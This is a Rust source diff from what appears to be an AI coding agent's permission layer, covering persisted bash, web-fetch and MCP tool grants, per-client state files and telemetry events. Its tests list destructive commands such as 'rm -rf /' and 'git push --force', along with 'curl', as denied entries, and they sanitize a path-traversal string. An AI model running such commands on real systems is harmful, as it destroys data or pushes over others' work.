|
||||
let bytes = s.as_bytes();
|
||||
bytes
|
||||
.iter()
|
||||
.enumerate()
|
||||
.find(|&(i, &b)| b == target && is_unescaped(bytes, i))
|
||||
.map(|(i, _)| i)
|
||||
}
|
||||
|
||||
pub(crate) fn find_last_unescaped(s: &str, target: u8) -> Option<usize> {
|
||||
let bytes = s.as_bytes();
|
||||
(0..bytes.len())
|
||||
.rev()
|
||||
.find(|&i| bytes[i] == target && is_unescaped(bytes, i))
|
||||
}
|
||||
|
||||
/// Unescape rule content: `\(` → `(`, `\)` → `)`, `\\` → `\`.
|
||||
pub(crate) fn unescape_rule_content(s: &str) -> String {
|
||||
if !s.contains('\\') {
|
||||
return s.to_owned();
|
||||
}
|
||||
// Order matters: unescape parens before backslashes (reverse of escaping).
|
||||
s.replace("\\(", "(")
|
||||
.replace("\\)", ")")
|
||||
.replace("\\\\", "\\")
|
||||
}
|
||||
|
||||
pub(crate) fn strip_domain_prefix(pattern: String) -> (String, PatternMode) {
|
||||
match pattern.strip_prefix("domain:") {
|
||||
Some(domain) => (domain.to_string(), PatternMode::Domain),
|
||||
None => (pattern, PatternMode::Glob),
|
||||
}
|
||||
}
|
||||
|
||||
/// Bash `cmd:*` prefix idiom → bare prefix; only the trailing `:*` counts.
|
||||
/// Deliberately raw-prefix — a superset of a word-boundary `:*` (stricter for deny/ask,
|
||||
/// wider for allow), matching the evaluator's single prefix regime for every Bash literal.
|
||||
pub(crate) fn strip_bash_colon_wildcard(pattern: String) -> String {
|
||||
match pattern.strip_suffix(":*") {
|
||||
Some(prefix) => prefix.to_string(),
|
||||
None => pattern,
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,590 @@
|
||||
#![allow(dead_code)] // Phase 1 internal helpers
|
||||
|
||||
use crate::permission::types::EditPolicy;
|
||||
use kigi_paths::AbsPathBuf;
|
||||
use kigi_tools::util::kigi_home::kigi_home;
|
||||
use serde::{Deserialize, Serialize};
|
||||
use std::collections::HashSet;
|
||||
|
||||
#[derive(Debug, Default, Clone, Serialize, Deserialize)]
|
||||
#[serde(default)]
|
||||
pub struct PermissionState {
|
||||
pub edit_policy: EditPolicy,
|
||||
pub allow_bash_execute: bool,
|
||||
pub allowed_bash_commands: HashSet<String>,
|
||||
pub disallowed_bash_commands: HashSet<String>,
|
||||
/// Domains the user has approved for `web_fetch`
|
||||
/// during this session.
|
||||
pub allowed_web_fetch_domains: HashSet<String>,
|
||||
/// Exact MCP tool names (e.g. `"grok_com_notion__notion-fetch"`)
|
||||
/// the user has granted "always allow" for. Lookup is exact.
|
||||
pub allowed_mcp_tools: HashSet<String>,
|
||||
/// MCP server prefixes (everything before the first `__`,
|
||||
/// e.g. `"grok_com_notion"`) for which the user has granted
|
||||
/// "always allow" to every tool. Lookup is "tool name starts with
|
||||
/// `<prefix>__`".
|
||||
pub allowed_mcp_servers: HashSet<String>,
|
||||
}
|
||||
|
||||
fn state_dir_for_cwd(cwd: &AbsPathBuf) -> std::path::PathBuf {
|
||||
kigi_config::sessions_cwd_dir(cwd.as_str())
|
||||
}
|
||||
|
||||
fn sanitize_client_id(id: &str) -> String {
|
||||
id.chars()
|
||||
.map(|c| {
|
||||
if c.is_ascii_alphanumeric() || c == '-' || c == '_' {
|
||||
c
|
||||
} else {
|
||||
'_'
|
||||
}
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
|
||||
fn state_file_path(dir: &std::path::Path, client_identifier: Option<&str>) -> std::path::PathBuf {
|
||||
match client_identifier {
|
||||
Some(id) => dir.join(format!("permission_{}.toml", sanitize_client_id(id))),
|
||||
None => dir.join("permission.toml"),
|
||||
}
|
||||
}
|
||||
|
||||
async fn try_load_state(path: &std::path::Path) -> Option<PermissionState> {
|
||||
match tokio::fs::read_to_string(path).await {
|
||||
Ok(s) => Some(toml::from_str(&s).unwrap_or_default()),
|
||||
Err(e) if e.kind() == std::io::ErrorKind::NotFound => None,
|
||||
Err(e) => {
|
||||
tracing::warn!(?e, "failed reading permission state");
|
||||
None
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn load_state_from_dir(
|
||||
dir: &std::path::Path,
|
||||
client_identifier: Option<&str>,
|
||||
) -> PermissionState {
|
||||
if let Some(id) = client_identifier {
|
||||
let per_client = state_file_path(dir, Some(id));
|
||||
if let Some(state) = try_load_state(&per_client).await {
|
||||
return state;
|
||||
}
|
||||
let shared = state_file_path(dir, None);
|
||||
try_load_state(&shared).await.unwrap_or_default()
|
||||
} else {
|
||||
let path = state_file_path(dir, None);
|
||||
try_load_state(&path).await.unwrap_or_default()
|
||||
}
|
||||
}
|
||||
|
||||
pub(crate) async fn load_state_from_disk(
|
||||
cwd: &AbsPathBuf,
|
||||
client_identifier: Option<&str>,
|
||||
) -> PermissionState {
|
||||
load_state_from_dir(&state_dir_for_cwd(cwd), client_identifier).await
|
||||
}
|
||||
|
||||
async fn persist_state_to_dir(
|
||||
dir: &std::path::Path,
|
||||
state: &PermissionState,
|
||||
client_identifier: Option<&str>,
|
||||
) {
|
||||
if let Err(e) = tokio::fs::create_dir_all(dir).await {
|
||||
tracing::warn!(?e, "failed creating permission state directory");
|
||||
return;
|
||||
}
|
||||
let path = state_file_path(dir, client_identifier);
|
||||
match toml::to_string_pretty(state) {
|
||||
Ok(s) => {
|
||||
if let Err(e) = tokio::fs::write(&path, s).await {
|
||||
tracing::warn!(?e, "failed writing permission state");
|
||||
}
|
||||
}
|
||||
Err(e) => tracing::warn!(?e, "failed serializing permission state"),
|
||||
}
|
||||
}
|
||||
|
||||
pub(crate) async fn persist_state(
|
||||
cwd: &AbsPathBuf,
|
||||
state: &PermissionState,
|
||||
client_identifier: Option<&str>,
|
||||
) {
|
||||
persist_state_to_dir(&state_dir_for_cwd(cwd), state, client_identifier).await
|
||||
}
|
||||
|
||||
pub async fn cleanup_stale_permission_state(max_age: std::time::Duration) {
|
||||
let sessions_dir = kigi_home().join("sessions");
|
||||
let Ok(mut entries) = tokio::fs::read_dir(&sessions_dir).await else {
|
||||
return;
|
||||
};
|
||||
while let Ok(Some(session_entry)) = entries.next_entry().await {
|
||||
let Ok(ft) = session_entry.file_type().await else {
|
||||
continue;
|
||||
};
|
||||
if !ft.is_dir() {
|
||||
continue;
|
||||
}
|
||||
let session_dir = session_entry.path();
|
||||
let Ok(mut files) = tokio::fs::read_dir(&session_dir).await else {
|
||||
continue;
|
||||
};
|
||||
while let Ok(Some(file_entry)) = files.next_entry().await {
|
||||
let path = file_entry.path();
|
||||
let file_name = path.file_name().and_then(|n| n.to_str()).unwrap_or("");
|
||||
if !file_name.starts_with("permission") || !file_name.ends_with(".toml") {
|
||||
continue;
|
||||
}
|
||||
if let Ok(metadata) = tokio::fs::metadata(&path).await
|
||||
&& let Ok(modified) = metadata.modified()
|
||||
&& let Ok(age) = modified.elapsed()
|
||||
&& age > max_age
|
||||
{
|
||||
tracing::debug!(path = %path.display(), "removing stale permission state");
|
||||
let _ = tokio::fs::remove_file(&path).await;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
#[allow(clippy::field_reassign_with_default)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
// ── PermissionState serialization roundtrip tests ─────────────
|
||||
|
||||
#[test]
|
||||
fn default_state_serialization() {
|
||||
let state = PermissionState::default();
|
||||
let toml_str = toml::to_string_pretty(&state).unwrap();
|
||||
let restored: PermissionState = toml::from_str(&toml_str).unwrap();
|
||||
assert!(!restored.allow_bash_execute);
|
||||
assert!(restored.allowed_bash_commands.is_empty());
|
||||
assert!(restored.disallowed_bash_commands.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn roundtrip_with_allowed_commands() {
|
||||
let mut state = PermissionState::default();
|
||||
state.allow_bash_execute = true;
|
||||
state.allowed_bash_commands.insert("cargo test".to_string());
|
||||
state
|
||||
.allowed_bash_commands
|
||||
.insert("npm run build".to_string());
|
||||
|
||||
let toml_str = toml::to_string_pretty(&state).unwrap();
|
||||
let restored: PermissionState = toml::from_str(&toml_str).unwrap();
|
||||
|
||||
assert!(restored.allow_bash_execute);
|
||||
assert!(restored.allowed_bash_commands.contains("cargo test"));
|
||||
assert!(restored.allowed_bash_commands.contains("npm run build"));
|
||||
assert_eq!(restored.allowed_bash_commands.len(), 2);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn roundtrip_with_disallowed_commands() {
|
||||
let mut state = PermissionState::default();
|
||||
state.disallowed_bash_commands.insert("rm -rf".to_string());
|
||||
state
|
||||
.disallowed_bash_commands
|
||||
.insert("git push --force".to_string());
|
||||
|
||||
let toml_str = toml::to_string_pretty(&state).unwrap();
|
||||
let restored: PermissionState = toml::from_str(&toml_str).unwrap();
|
||||
|
||||
let denied = &restored.disallowed_bash_commands;
|
||||
assert!(denied.contains("rm -rf"));
|
||||
assert!(denied.contains("git push --force"));
|
||||
assert_eq!(denied.len(), 2);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn roundtrip_with_both_allowed_and_disallowed() {
|
||||
// Simulate a real scenario: some commands explicitly allowed,
|
||||
// others explicitly denied.
|
||||
let mut state = PermissionState::default();
|
||||
state.allow_bash_execute = false;
|
||||
state.allowed_bash_commands.insert("cargo test".to_string());
|
||||
state.allowed_bash_commands.insert("git status".to_string());
|
||||
state
|
||||
.disallowed_bash_commands
|
||||
.insert("rm -rf /".to_string());
|
||||
state.disallowed_bash_commands.insert("curl".to_string());
|
||||
|
||||
let toml_str = toml::to_string_pretty(&state).unwrap();
|
||||
let restored: PermissionState = toml::from_str(&toml_str).unwrap();
|
||||
|
||||
assert!(!restored.allow_bash_execute);
|
||||
assert_eq!(restored.allowed_bash_commands.len(), 2);
|
||||
assert_eq!(restored.disallowed_bash_commands.len(), 2);
|
||||
assert!(restored.allowed_bash_commands.contains("cargo test"));
|
||||
assert!(restored.disallowed_bash_commands.contains("curl"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn edit_policy_is_persisted() {
|
||||
let mut state = PermissionState::default();
|
||||
state.edit_policy = EditPolicy::Allow;
|
||||
|
||||
let toml_str = toml::to_string_pretty(&state).unwrap();
|
||||
assert!(toml_str.contains("edit_policy"));
|
||||
|
||||
let restored: PermissionState = toml::from_str(&toml_str).unwrap();
|
||||
assert_eq!(restored.edit_policy, EditPolicy::Allow);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn edit_policy_reject_roundtrip() {
|
||||
let mut state = PermissionState::default();
|
||||
state.edit_policy = EditPolicy::Reject;
|
||||
|
||||
let toml_str = toml::to_string_pretty(&state).unwrap();
|
||||
let restored: PermissionState = toml::from_str(&toml_str).unwrap();
|
||||
assert_eq!(restored.edit_policy, EditPolicy::Reject);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn missing_edit_policy_defaults_to_ask() {
|
||||
let toml_str = r#"allow_bash_execute = false"#;
|
||||
let state: PermissionState = toml::from_str(toml_str).unwrap();
|
||||
assert_eq!(state.edit_policy, EditPolicy::Ask);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn deserialize_from_empty_toml() {
|
||||
let state: PermissionState = toml::from_str("").unwrap();
|
||||
assert!(!state.allow_bash_execute);
|
||||
assert!(state.allowed_bash_commands.is_empty());
|
||||
assert!(state.disallowed_bash_commands.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn deserialize_partial_toml() {
|
||||
// Only some fields present — others should default.
|
||||
let toml_str = r#"allow_bash_execute = true"#;
|
||||
let state: PermissionState = toml::from_str(toml_str).unwrap();
|
||||
assert!(state.allow_bash_execute);
|
||||
assert!(state.allowed_bash_commands.is_empty());
|
||||
assert!(state.disallowed_bash_commands.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn roundtrip_with_allowed_web_fetch_domains() {
|
||||
let mut state = PermissionState::default();
|
||||
state
|
||||
.allowed_web_fetch_domains
|
||||
.insert("stackoverflow.com".to_string());
|
||||
state
|
||||
.allowed_web_fetch_domains
|
||||
.insert("custom.example.com".to_string());
|
||||
|
||||
let toml_str = toml::to_string_pretty(&state).unwrap();
|
||||
let restored: PermissionState = toml::from_str(&toml_str).unwrap();
|
||||
|
||||
assert_eq!(restored.allowed_web_fetch_domains.len(), 2);
|
||||
assert!(
|
||||
restored
|
||||
.allowed_web_fetch_domains
|
||||
.contains("stackoverflow.com")
|
||||
);
|
||||
assert!(
|
||||
restored
|
||||
.allowed_web_fetch_domains
|
||||
.contains("custom.example.com")
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn roundtrip_with_allowed_mcp_tools() {
|
||||
let mut state = PermissionState::default();
|
||||
state
|
||||
.allowed_mcp_tools
|
||||
.insert("grok_com_notion__notion-fetch".to_string());
|
||||
state
|
||||
.allowed_mcp_tools
|
||||
.insert("linear__list_issues".to_string());
|
||||
|
||||
let toml_str = toml::to_string_pretty(&state).unwrap();
|
||||
let restored: PermissionState = toml::from_str(&toml_str).unwrap();
|
||||
|
||||
assert_eq!(restored.allowed_mcp_tools.len(), 2);
|
||||
assert!(
|
||||
restored
|
||||
.allowed_mcp_tools
|
||||
.contains("grok_com_notion__notion-fetch")
|
||||
);
|
||||
assert!(restored.allowed_mcp_tools.contains("linear__list_issues"));
|
||||
assert!(restored.allowed_mcp_servers.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn roundtrip_with_allowed_mcp_servers() {
|
||||
let mut state = PermissionState::default();
|
||||
state
|
||||
.allowed_mcp_servers
|
||||
.insert("grok_com_slack".to_string());
|
||||
state.allowed_mcp_servers.insert("linear".to_string());
|
||||
|
||||
let toml_str = toml::to_string_pretty(&state).unwrap();
|
||||
let restored: PermissionState = toml::from_str(&toml_str).unwrap();
|
||||
|
||||
assert_eq!(restored.allowed_mcp_servers.len(), 2);
|
||||
assert!(restored.allowed_mcp_servers.contains("grok_com_slack"));
|
||||
assert!(restored.allowed_mcp_servers.contains("linear"));
|
||||
assert!(restored.allowed_mcp_tools.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn roundtrip_with_both_mcp_sets() {
|
||||
let mut state = PermissionState::default();
|
||||
state.allowed_mcp_tools.insert("notion__fetch".to_string());
|
||||
state.allowed_mcp_servers.insert("linear".to_string());
|
||||
|
||||
let toml_str = toml::to_string_pretty(&state).unwrap();
|
||||
let restored: PermissionState = toml::from_str(&toml_str).unwrap();
|
||||
|
||||
assert_eq!(restored.allowed_mcp_tools.len(), 1);
|
||||
assert_eq!(restored.allowed_mcp_servers.len(), 1);
|
||||
assert!(restored.allowed_mcp_tools.contains("notion__fetch"));
|
||||
assert!(restored.allowed_mcp_servers.contains("linear"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn deserialize_old_state_without_mcp_fields() {
|
||||
// A state file from a binary that predates this design has
|
||||
// neither MCP field. #[serde(default)] should yield empty sets.
|
||||
let toml_str = r#"
|
||||
allow_bash_execute = true
|
||||
allowed_bash_commands = ["cargo test"]
|
||||
allowed_web_fetch_domains = ["github.com"]
|
||||
"#;
|
||||
let state: PermissionState = toml::from_str(toml_str).unwrap();
|
||||
assert!(state.allow_bash_execute);
|
||||
assert!(state.allowed_bash_commands.contains("cargo test"));
|
||||
assert!(state.allowed_web_fetch_domains.contains("github.com"));
|
||||
assert!(state.allowed_mcp_tools.is_empty());
|
||||
assert!(state.allowed_mcp_servers.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn deserialize_unknown_fields_tolerated() {
|
||||
// PermissionState uses #[serde(default)] which provides defaults for
|
||||
// missing fields. It does NOT use #[serde(deny_unknown_fields)], so
|
||||
// unknown keys in TOML are silently ignored. This is important for
|
||||
// forward compatibility: older versions of the binary should be able
|
||||
// to read state files written by newer versions that may have added
|
||||
// new fields.
|
||||
let toml_str = r#"
|
||||
allow_bash_execute = false
|
||||
unknown_field = "should be ignored"
|
||||
allowed_bash_commands = ["ls"]
|
||||
"#;
|
||||
let state: PermissionState = toml::from_str(toml_str).unwrap();
|
||||
assert!(!state.allow_bash_execute);
|
||||
assert!(state.allowed_bash_commands.contains("ls"));
|
||||
assert!(state.disallowed_bash_commands.is_empty());
|
||||
}
|
||||
|
||||
// ── Disk persistence roundtrip tests ─────────────────────────
|
||||
|
||||
#[tokio::test]
|
||||
async fn persist_and_load_roundtrip() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let cwd_path = tmp.path().join("my-project");
|
||||
std::fs::create_dir_all(&cwd_path).unwrap();
|
||||
let _cwd = AbsPathBuf::new(cwd_path).unwrap();
|
||||
|
||||
let mut state = PermissionState::default();
|
||||
state.allow_bash_execute = true;
|
||||
state
|
||||
.allowed_bash_commands
|
||||
.insert("cargo build".to_string());
|
||||
state.disallowed_bash_commands.insert("rm -rf".to_string());
|
||||
|
||||
// Override the state dir to use our temp dir.
|
||||
// We can't easily override kigi_home(), so instead test
|
||||
// the serialize/deserialize path directly with TOML.
|
||||
let toml_str = toml::to_string_pretty(&state).unwrap();
|
||||
let dir = tmp.path().join("sessions").join("test");
|
||||
tokio::fs::create_dir_all(&dir).await.unwrap();
|
||||
let path = dir.join("permission.toml");
|
||||
tokio::fs::write(&path, &toml_str).await.unwrap();
|
||||
|
||||
let content = tokio::fs::read_to_string(&path).await.unwrap();
|
||||
let restored: PermissionState = toml::from_str(&content).unwrap();
|
||||
|
||||
assert!(restored.allow_bash_execute);
|
||||
assert!(restored.allowed_bash_commands.contains("cargo build"));
|
||||
assert!(restored.disallowed_bash_commands.contains("rm -rf"));
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn load_missing_file_returns_default() {
|
||||
// Simulates load_state_from_disk behavior for a missing file.
|
||||
let path = std::path::Path::new("/nonexistent/permission.toml");
|
||||
let result = tokio::fs::read_to_string(path).await;
|
||||
match result {
|
||||
Err(e) if e.kind() == std::io::ErrorKind::NotFound => {
|
||||
let state = PermissionState::default();
|
||||
assert!(!state.allow_bash_execute);
|
||||
}
|
||||
_ => panic!("expected NotFound error"),
|
||||
}
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn load_corrupt_file_returns_default() {
|
||||
// Simulates load_state_from_disk behavior for corrupt TOML.
|
||||
let corrupt = "this is not valid toml {{{{";
|
||||
let state: PermissionState = toml::from_str(corrupt).unwrap_or_default();
|
||||
assert!(!state.allow_bash_execute);
|
||||
assert!(state.allowed_bash_commands.is_empty());
|
||||
}
|
||||
|
||||
// ── Per-client state file path tests ──────────────────────────
|
||||
|
||||
#[test]
|
||||
fn state_file_path_without_client_id() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let path = state_file_path(tmp.path(), None);
|
||||
assert_eq!(path.file_name().unwrap(), "permission.toml");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn state_file_path_with_client_id() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let path = state_file_path(tmp.path(), Some("vscode-ext"));
|
||||
assert_eq!(path.file_name().unwrap(), "permission_vscode-ext.toml");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn state_file_path_empty_client_id() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let path = state_file_path(tmp.path(), Some(""));
|
||||
assert_eq!(path.file_name().unwrap(), "permission_.toml");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn state_file_path_sanitizes_path_separators() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let path = state_file_path(tmp.path(), Some("foo/bar"));
|
||||
assert_eq!(path.file_name().unwrap(), "permission_foo_bar.toml");
|
||||
|
||||
let path = state_file_path(tmp.path(), Some("foo\\bar"));
|
||||
assert_eq!(path.file_name().unwrap(), "permission_foo_bar.toml");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn sanitize_client_id_prevents_traversal() {
|
||||
assert_eq!(sanitize_client_id("foo/../../attack"), "foo_______attack");
|
||||
assert_eq!(sanitize_client_id("normal-id"), "normal-id");
|
||||
assert_eq!(sanitize_client_id("has\0null"), "has_null");
|
||||
assert_eq!(sanitize_client_id("back\\slash"), "back_slash");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn try_load_state_missing_returns_none() {
|
||||
let result = try_load_state(std::path::Path::new("/nonexistent/permission.toml")).await;
|
||||
assert!(result.is_none());
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn try_load_state_valid_file() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let path = tmp.path().join("permission.toml");
|
||||
tokio::fs::write(&path, "allow_bash_execute = true")
|
||||
.await
|
||||
.unwrap();
|
||||
let state = try_load_state(&path).await.unwrap();
|
||||
assert!(state.allow_bash_execute);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn per_client_persist_and_load_roundtrip() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let dir = tmp.path();
|
||||
|
||||
let mut state = PermissionState::default();
|
||||
state.allow_bash_execute = true;
|
||||
state.allowed_bash_commands.insert("cargo test".to_string());
|
||||
|
||||
persist_state_to_dir(dir, &state, Some("client_a")).await;
|
||||
|
||||
let loaded = load_state_from_dir(dir, Some("client_a")).await;
|
||||
assert!(loaded.allow_bash_execute);
|
||||
assert!(loaded.allowed_bash_commands.contains("cargo test"));
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn per_client_load_falls_back_to_shared() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let dir = tmp.path();
|
||||
|
||||
let mut shared_state = PermissionState::default();
|
||||
shared_state.allow_bash_execute = true;
|
||||
shared_state
|
||||
.allowed_bash_commands
|
||||
.insert("cargo test".to_string());
|
||||
persist_state_to_dir(dir, &shared_state, None).await;
|
||||
|
||||
let loaded = load_state_from_dir(dir, Some("new_client")).await;
|
||||
assert!(loaded.allow_bash_execute);
|
||||
assert!(loaded.allowed_bash_commands.contains("cargo test"));
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn per_client_file_takes_priority_over_shared() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let dir = tmp.path();
|
||||
|
||||
let mut shared_state = PermissionState::default();
|
||||
shared_state.allow_bash_execute = true;
|
||||
persist_state_to_dir(dir, &shared_state, None).await;
|
||||
|
||||
let mut client_state = PermissionState::default();
|
||||
client_state.allow_bash_execute = false;
|
||||
client_state
|
||||
.allowed_bash_commands
|
||||
.insert("npm test".to_string());
|
||||
persist_state_to_dir(dir, &client_state, Some("my-client")).await;
|
||||
|
||||
let loaded = load_state_from_dir(dir, Some("my-client")).await;
|
||||
assert!(!loaded.allow_bash_execute);
|
||||
assert!(loaded.allowed_bash_commands.contains("npm test"));
|
||||
|
||||
let shared_loaded = load_state_from_dir(dir, None).await;
|
||||
assert!(shared_loaded.allow_bash_execute);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn load_none_client_returns_default_when_no_file() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let loaded = load_state_from_dir(tmp.path(), None).await;
|
||||
assert!(!loaded.allow_bash_execute);
|
||||
assert!(loaded.allowed_bash_commands.is_empty());
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn per_client_isolation_between_clients() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let dir = tmp.path();
|
||||
|
||||
let mut state_a = PermissionState::default();
|
||||
state_a
|
||||
.allowed_bash_commands
|
||||
.insert("cargo test".to_string());
|
||||
persist_state_to_dir(dir, &state_a, Some("client_a")).await;
|
||||
|
||||
let mut state_b = PermissionState::default();
|
||||
state_b.allowed_bash_commands.insert("npm test".to_string());
|
||||
persist_state_to_dir(dir, &state_b, Some("client_b")).await;
|
||||
|
||||
let loaded_a = load_state_from_dir(dir, Some("client_a")).await;
|
||||
assert!(loaded_a.allowed_bash_commands.contains("cargo test"));
|
||||
assert!(!loaded_a.allowed_bash_commands.contains("npm test"));
|
||||
|
||||
let loaded_b = load_state_from_dir(dir, Some("client_b")).await;
|
||||
assert!(loaded_b.allowed_bash_commands.contains("npm test"));
|
||||
assert!(!loaded_b.allowed_bash_commands.contains("cargo test"));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,639 @@
|
||||
use agent_client_protocol as acp;
|
||||
use chrono::{DateTime, Utc};
|
||||
use serde::{Deserialize, Serialize};
|
||||
use tokio::sync::oneshot;
|
||||
/// A permission event capturing the decision made for a tool call.
|
||||
/// Used for telemetry to track permission patterns and user behavior.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct PermissionEvent {
|
||||
/// Tool call ID from the model
|
||||
pub tool_id: String,
|
||||
/// Name of the tool being executed
|
||||
pub tool_name: String,
|
||||
/// Type of access requested (read, edit, bash, mcp)
|
||||
pub access_kind: String,
|
||||
/// Additional context (e.g., file path for edit, command for bash)
|
||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||
pub access_detail: Option<String>,
|
||||
/// Whether YOLO mode was enabled when this decision was made
|
||||
pub yolo_mode: bool,
|
||||
/// Whether this was auto-approved (by YOLO mode or policy rules)
|
||||
pub auto_approved: bool,
|
||||
/// Whether the user was prompted for this decision
|
||||
pub user_prompted: bool,
|
||||
/// The final decision (allow, reject)
|
||||
pub decision: String,
|
||||
/// The user's choice when prompted (allow_once, allow_always, reject_once,
|
||||
/// etc.); None on auto/non-prompt decisions. The trigger lives in `decision_reason`.
|
||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||
pub prompt_outcome: Option<String>,
|
||||
/// Rejection reason if rejected
|
||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||
pub reject_reason: Option<String>,
|
||||
/// When this decision was made
|
||||
pub timestamp: DateTime<Utc>,
|
||||
/// If this permission was requested by a subagent, the subagent's session ID.
|
||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||
pub subagent_session_id: Option<String>,
|
||||
/// If this permission was requested by a subagent, its type (e.g. "explore").
|
||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||
pub subagent_type: Option<String>,
|
||||
/// If this permission was requested by a subagent, its description.
|
||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||
pub subagent_description: Option<String>,
|
||||
/// Effective permission mode governing this decision (not the trigger):
|
||||
/// "ask" | "auto" | "always-approve". Hyphenated to match
|
||||
/// `config.ui.permission_mode` in the same trace (differs from the telemetry
|
||||
/// enum's underscore Mixpanel serde).
|
||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||
pub permission_mode: Option<String>,
|
||||
/// The trigger that produced this decision, distinct from `prompt_outcome`
|
||||
/// (which records the user's choice when prompted). Lets a trace show *why*
|
||||
/// a request reached a prompt even when `user_prompted=true`. Values:
|
||||
/// yolo, policy_allow, policy_deny, policy_ask, auto_fast_path,
|
||||
/// auto_classifier_allow, auto_classifier_block, sandbox_auto,
|
||||
/// persisted_grant, session_grant, static_allowlist, safe_command,
|
||||
/// session_deny, prompt_deny, needs_user, requester_gone.
|
||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||
pub decision_reason: Option<String>,
|
||||
/// Elapsed milliseconds from the actor dequeuing this request to the decision
|
||||
/// resolving. The timer starts at dequeue, so it excludes time the request
|
||||
/// waited in the channel behind others; small for fast auto paths but
|
||||
/// non-trivial when an auto classifier side-query runs before the decision.
|
||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||
pub wait_ms: Option<u64>,
|
||||
/// Concurrent in-flight permission requests (this one included) at emit time,
|
||||
/// counted across the shared handle so overlapping subagent requests show up.
|
||||
/// The per-turn "hit yes N times" count is instead the number of
|
||||
/// `user_prompted=true` events in the turn, not this field.
|
||||
#[serde(default, skip_serializing_if = "Option::is_none")]
|
||||
pub queue_depth: Option<u32>,
|
||||
}
|
||||
/// Identifies the type of client connecting to the agent.
|
||||
/// Used to determine which permission UI features to enable
|
||||
/// and which feedback/experiment client type to report.
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, Default, serde::Serialize, serde::Deserialize)]
|
||||
pub enum ClientType {
|
||||
/// Generic client - show simple permission options with full command text
|
||||
#[default]
|
||||
#[serde(rename = "generic", alias = "grok-shell", alias = "grok_shell")]
|
||||
Generic,
|
||||
/// Grok TUI client - show fancy options with interactive bash term selection
|
||||
#[serde(rename = "grok-tui", alias = "grok_tui")]
|
||||
GrokTUI,
|
||||
/// Grok Web client - identified by clientIdentifier "grok-web"
|
||||
#[serde(rename = "grok_web")]
|
||||
GrokWeb,
|
||||
/// Named client (`"nebula"`) — uses the generic permission UI
|
||||
#[serde(rename = "nebula")]
|
||||
Nebula,
|
||||
/// IDE extension client (VS Code and similar) - identified by clientIdentifier "grok-code-extension"
|
||||
#[serde(rename = "extension")]
|
||||
Extension,
|
||||
/// Grok Pager client - TUI-like terminal pager with interactive permission UI.
|
||||
/// Treated identically to GrokTUI for permission options (gets bash highlights +
|
||||
/// interactive selection). Reports as "pager" for telemetry attribution.
|
||||
///
|
||||
/// Accepts both the hyphenated `"grok-pager"` (what the pager actually
|
||||
/// sends over the wire, matching `PAGER_CLIENT_TYPE`) and the underscored
|
||||
/// `"grok_pager"` form for symmetry with the rest of this enum.
|
||||
#[serde(rename = "grok-pager", alias = "grok_pager")]
|
||||
GrokPager,
|
||||
/// Grok Desktop (Electron) client - identified by clientIdentifier "grok-desktop".
|
||||
/// Uses TUI-style bash permission options (primary command extraction + prefix matching)
|
||||
/// but without interactive `<`/`>` word selection.
|
||||
#[serde(rename = "grok_desktop")]
|
||||
Desktop,
|
||||
}
|
||||
impl ClientType {
|
||||
/// Product token for the `User-Agent` header (e.g. `grok-pager`).
|
||||
pub fn user_agent_label(&self) -> &'static str {
|
||||
match self {
|
||||
Self::Generic => "grok-shell",
|
||||
Self::GrokTUI => "grok-tui",
|
